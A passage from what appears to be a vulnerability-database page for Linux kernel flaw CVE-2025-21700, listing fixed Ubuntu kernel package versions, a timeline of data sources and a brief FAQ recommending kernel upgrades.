    Fixed in 6.8.0-1026.26
  110. Upgrade

    Upgrade ubuntu/linux-oracle to a version that resolves this vulnerability.

    Fixed in 6.8.0-1024.25
  111. Upgrade

    Upgrade ubuntu/linux-raspi to a version that resolves this vulnerability.

    Fixed in 6.8.0-1028.32
  112. Upgrade

    Upgrade ubuntu/linux-riscv to a version that resolves this vulnerability.

    Fixed in 6.8.0-58.60.1
  113. Upgrade

    Upgrade ubuntu/linux-xilinx to a version that resolves this vulnerability.

    Fixed in 6.8.0-1017.18
  114. Upgrade

    Upgrade ubuntu/linux-raspi-realtime to a version that resolves this vulnerability.

    Fixed in 6.8.0-2023.24
  115. Upgrade

    Upgrade ubuntu/linux-realtime to a version that resolves this vulnerability.

    Fixed in 6.8.1-1020.21
  116. Upgrade

    Upgrade ubuntu/linux-fips to a version that resolves this vulnerability.

    Fixed in 6.8.0-78.78+fips1

Event History

Feb 13, 2025
CVE Published
via MITRE·11:30 AM
Data Sourced
via MITRE·11:30 AM
DescriptionSeverity
Data Sourced
via OSV·12:15 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·12:15 PM
RemedyDescriptionSeverityWeaknessAffected Software
May 5, 2025
Data Sourced
via Microsoft·07:00 AM
DescriptionSeverityWeakness
Data Sourced
via Microsoft·07:00 AM
Affected Software
Nov 21, 2025
Data Sourced
12:00 AM
Weakness

Parent advisories

This vulnerability appears in the following advisories.

Peer vulnerabilities

Found alongside the following vulnerabilities.

Frequently Asked Questions

1

What is the severity of CVE-2025-21700?

CVE-2025-21700 has been classified with a high severity due to its potential for privilege escalation.

2

How do I fix CVE-2025-21700?

To fix CVE-2025-21700, upgrade your Linux kernel to the latest stable version where the vulnerability has been patched.

3

What are the potential impacts of CVE-2025-21700?

The potential impacts of CVE-2025-21700 include unauthorized privilege escalation, which could allow an attacker to gain elevated access to system functions.

4

Which versions of the Linux kernel are affected by CVE-2025-21700?

CVE-2025-21700 affects multiple versions of the Linux kernel prior to the latest patches addressing this vulnerability.

5

Is there a workaround for CVE-2025-21700?

Currently, the best approach is to apply the kernel updates as they address the vulnerabilities effectively without known workarounds.

Company

Resources

Contact

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